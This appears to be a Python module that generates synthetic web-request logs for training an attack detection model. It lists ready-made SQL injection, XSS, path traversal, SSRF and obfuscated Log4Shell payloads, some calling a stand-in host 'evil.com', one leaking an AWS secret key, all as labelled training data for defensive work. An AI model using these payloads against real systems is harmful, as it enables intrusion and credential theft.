Cybersecurity-Projects/PROJECTS/advanced/ai-threat-detection/backend/ml/synthetic.py

437 lines
13 KiB
Python

"""
©AngelaMos | 2026
synthetic.py
"""
import logging
import random
from datetime import UTC, datetime, timedelta
import numpy as np
from app.core.features.encoder import encode_for_inference
from app.core.features.extractor import extract_request_features
from app.core.features.mappings import WINDOWED_FEATURE_NAMES
from app.core.ingestion.parsers import ParsedLogEntry
logger = logging.getLogger(__name__)
SQLI_PAYLOADS: list[str] = [
"' OR 1=1--",
"' OR '1'='1",
"' UNION SELECT NULL,NULL--",
"' UNION SELECT username,password FROM users--",
"1; DROP TABLE users--",
"admin'--",
"' AND 1=1--",
"' AND SLEEP(5)--",
"' OR BENCHMARK(1000000,SHA1('test'))--",
"1' ORDER BY 1--",
"1' ORDER BY 10--",
"' UNION ALL SELECT @@version--",
"-1' UNION SELECT 1,CONCAT(user(),database())--",
"' OR 'x'='x",
"1; WAITFOR DELAY '0:0:5'--",
"' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--",
"' AND UPDATEXML(1,CONCAT(0x7e,version()),1)--",
"admin' AND '1'='1",
"' UNION SELECT LOAD_FILE('/etc/passwd')--",
"' INTO OUTFILE '/tmp/shell.php'--",
"1' AND 1=1 UNION SELECT 1,2,3--",
"' OR EXISTS(SELECT * FROM users)--",
]
XSS_PAYLOADS: list[str] = [
"<script>alert(1)</script>",
"<script>document.cookie</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
"<body onload=alert(1)>",
"javascript:alert(1)",
"<iframe src=javascript:alert(1)>",
"<input onfocus=alert(1) autofocus>",
"<marquee onstart=alert(1)>",
"<details open ontoggle=alert(1)>",
"'-alert(1)-'",
"\"><script>alert(String.fromCharCode(88,83,83))</script>",
"<img src=x onerror=prompt(1)>",
"<svg/onload=confirm(1)>",
"\" onfocus=alert(1) autofocus=\"",
"<object data=javascript:alert(1)>",
"<embed src=javascript:alert(1)>",
"<link rel=import href=data:text/html,<script>alert(1)</script>>",
"{{constructor.constructor('alert(1)')()}}",
"<style>@import'javascript:alert(1)'</style>",
"expression(alert(1))",
]
TRAVERSAL_PAYLOADS: list[str] = [
"../../etc/passwd",
"..\\..\\windows\\system32\\config\\sam",
"../../../etc/shadow",
"....//....//etc/passwd",
"%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"%252e%252e%252f%252e%252e%252fetc%252fpasswd",
"..%c0%afetc%c0%afpasswd",
"../../proc/self/environ",
"../../var/log/auth.log",
"../../.env",
"../../.git/config",
"../../../boot.ini",
"../../web.config",
"../../wp-config.php",
"%2e%2e/%2e%2e/%2e%2e/etc/passwd",
]
LOG4SHELL_PAYLOADS: list[str] = [
"${jndi:ldap://evil.com/a}",
"${jndi:rmi://evil.com/a}",
"${jndi:dns://evil.com/a}",
"${jndi:ldap://127.0.0.1/a}",
"${${lower:j}ndi:ldap://evil.com/a}",
"${${upper:j}ndi:ldap://evil.com/a}",
"${${::-j}${::-n}${::-d}${::-i}:ldap://evil.com/a}",
"${jndi:ldap://evil.com/${env:AWS_SECRET_KEY}}",
"${jndi:${lower:l}${lower:d}ap://evil.com/a}",
"${${env:BARFOO:-j}ndi${env:BARFOO:-:}ldap://evil.com/a}",
]
SSRF_TARGETS: list[str] = [
"http://169.254.169.254/latest/meta-data/",
"http://metadata.google.internal/computeMetadata/v1/",
"http://169.254.170.2/v2/credentials",
"http://100.100.100.200/latest/meta-data/",
"http://127.0.0.1:8080/admin",
"http://localhost:9200/_cat/indices",
"http://10.0.0.1:6379/",
"http://192.168.1.1/admin",
"file:///etc/passwd",
"gopher://127.0.0.1:25/",
"dict://127.0.0.1:11211/stats",
]
SCANNER_UAS: list[str] = [
"Nikto/2.1.6",
"sqlmap/1.7",
"Nessus/10.0",
"DirBuster-1.0-RC1",
"Acunetix-Product",
"w3af/1.0",
"Nmap Scripting Engine",
"Wfuzz/3.1.0",
"gobuster/3.6",
"masscan/1.3.2",
"ZAP/2.14.0",
]
NORMAL_PATHS: list[str] = [
"/",
"/index.html",
"/api/v1/users",
"/api/v1/users/123",
"/api/v1/products",
"/api/v1/products/456",
"/api/v1/orders",
"/api/v1/search",
"/api/v2/health",
"/api/v2/metrics",
"/dashboard",
"/dashboard/settings",
"/login",
"/logout",
"/register",
"/profile",
"/profile/edit",
"/about",
"/contact",
"/faq",
"/static/css/main.css",
"/static/js/app.js",
"/static/images/logo.png",
"/favicon.ico",
"/robots.txt",
"/sitemap.xml",
"/blog",
"/blog/2026/01/post-title",
"/docs",
"/docs/api-reference",
"/status",
"/feed.xml",
]
NORMAL_UAS: list[str] = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0",
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36",
"Mozilla/5.0 (iPad; CPU OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
]
ATTACK_PATHS: list[str] = [
"/login",
"/admin",
"/admin/config",
"/api/v1/users",
"/api/v1/auth",
"/api/v1/search",
"/wp-admin",
"/wp-login.php",
"/phpmyadmin",
"/manager/html",
"/actuator/env",
"/api/v1/upload",
"/api/v1/export",
"/console",
"/debug",
]
def _random_ip() -> str:
"""
Generate a random public-looking IP address
"""
return f"{random.randint(1, 223)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}"
def _random_timestamp() -> datetime:
"""
Generate a random timestamp within the last 24 hours
"""
offset = random.randint(0, 86400)
return datetime.now(UTC) - timedelta(seconds=offset)
def _make_entry(
method: str,
path: str,
query_string: str,
status_code: int,
response_size: int,
user_agent: str,
ip: str | None = None,
) -> ParsedLogEntry:
"""
Build a ParsedLogEntry with randomized metadata
"""
return ParsedLogEntry(
ip=ip or _random_ip(),
timestamp=_random_timestamp(),
method=method,
path=path,
query_string=query_string,
status_code=status_code,
response_size=response_size,
referer="",
user_agent=user_agent,
raw_line="",
)
def generate_sqli_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n requests with SQL injection payloads
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
payload = random.choice(SQLI_PAYLOADS)
path = random.choice(ATTACK_PATHS)
if random.random() < 0.5:
entries.append(
_make_entry(
method="GET",
path=path,
query_string=f"id={payload}",
status_code=random.choice([200, 500]),
response_size=random.randint(0, 5000),
user_agent=random.choice(NORMAL_UAS),
))
else:
entries.append(
_make_entry(
method="POST",
path=path,
query_string=f"username={payload}&password=x",
status_code=random.choice([200, 403]),
response_size=random.randint(0, 2000),
user_agent=random.choice(NORMAL_UAS),
))
return entries
def generate_xss_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n requests with XSS payloads
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
payload = random.choice(XSS_PAYLOADS)
path = random.choice(ATTACK_PATHS)
entries.append(
_make_entry(
method="GET",
path=path,
query_string=f"q={payload}",
status_code=200,
response_size=random.randint(500, 5000),
user_agent=random.choice(NORMAL_UAS),
))
return entries
def generate_traversal_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n requests with path traversal payloads
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
payload = random.choice(TRAVERSAL_PAYLOADS)
entries.append(
_make_entry(
method="GET",
path=f"/{payload}",
query_string="",
status_code=random.choice([200, 403, 404]),
response_size=random.randint(0, 1000),
user_agent=random.choice(NORMAL_UAS),
))
return entries
def generate_log4shell_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n requests with Log4Shell JNDI payloads
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
payload = random.choice(LOG4SHELL_PAYLOADS)
path = random.choice(ATTACK_PATHS)
entries.append(
_make_entry(
method="GET",
path=path,
query_string=f"cmd={payload}",
status_code=200,
response_size=random.randint(0, 2000),
user_agent=payload,
))
return entries
def generate_ssrf_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n requests with SSRF target URLs
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
target = random.choice(SSRF_TARGETS)
path = random.choice(ATTACK_PATHS)
entries.append(
_make_entry(
method="GET",
path=path,
query_string=f"url={target}",
status_code=random.choice([200, 302]),
response_size=random.randint(0, 3000),
user_agent=random.choice(NORMAL_UAS),
))
return entries
def generate_scanner_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n requests mimicking vulnerability scanners
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
path = random.choice(ATTACK_PATHS)
entries.append(
_make_entry(
method=random.choice(["GET", "HEAD", "OPTIONS"]),
path=path,
query_string="",
status_code=random.choice([200, 301, 403, 404]),
response_size=random.randint(0, 500),
user_agent=random.choice(SCANNER_UAS),
))
return entries
def generate_normal_requests(n: int, ) -> list[ParsedLogEntry]:
"""
Generate n realistic benign HTTP requests
"""
entries: list[ParsedLogEntry] = []
for _ in range(n):
path = random.choice(NORMAL_PATHS)
has_query = random.random() < 0.3
query = (f"page={random.randint(1, 20)}" if has_query else "")
entries.append(
_make_entry(
method=random.choice(["GET", "GET", "GET", "POST"]),
path=path,
query_string=query,
status_code=random.choice([200, 200, 200, 301, 304]),
response_size=random.randint(200, 50000),
user_agent=random.choice(NORMAL_UAS),
))
return entries
def _entries_to_vectors(entries: list[ParsedLogEntry], ) -> list[list[float]]:
"""
Convert ParsedLogEntry list to 35-dim feature vectors
"""
vectors: list[list[float]] = []
for entry in entries:
features = extract_request_features(entry)
for name in WINDOWED_FEATURE_NAMES:
features[name] = 0.0
vectors.append(encode_for_inference(features))
return vectors
def generate_mixed_dataset(
n_normal: int = 1000,
n_attack: int = 500,
) -> tuple[np.ndarray, np.ndarray]:
"""
Generate a mixed normal and attack dataset with feature vectors
"""
normal = generate_normal_requests(n_normal)
normal_vectors = _entries_to_vectors(normal)
per_type = n_attack // 6
remainder = n_attack - (per_type * 6)
attacks: list[ParsedLogEntry] = []
attacks.extend(generate_sqli_requests(per_type + remainder))
attacks.extend(generate_xss_requests(per_type))
attacks.extend(generate_traversal_requests(per_type))
attacks.extend(generate_log4shell_requests(per_type))
attacks.extend(generate_ssrf_requests(per_type))
attacks.extend(generate_scanner_requests(per_type))
attack_vectors = _entries_to_vectors(attacks)
X = np.array(
normal_vectors + attack_vectors,
dtype=np.float32,
)
y = np.array(
[0] * len(normal_vectors) + [1] * len(attack_vectors),
dtype=np.int32,
)
logger.info(
"Generated dataset: X=%s (normal=%d, attack=%d)",
X.shape,
n_normal,
len(attacks),
)
return X, y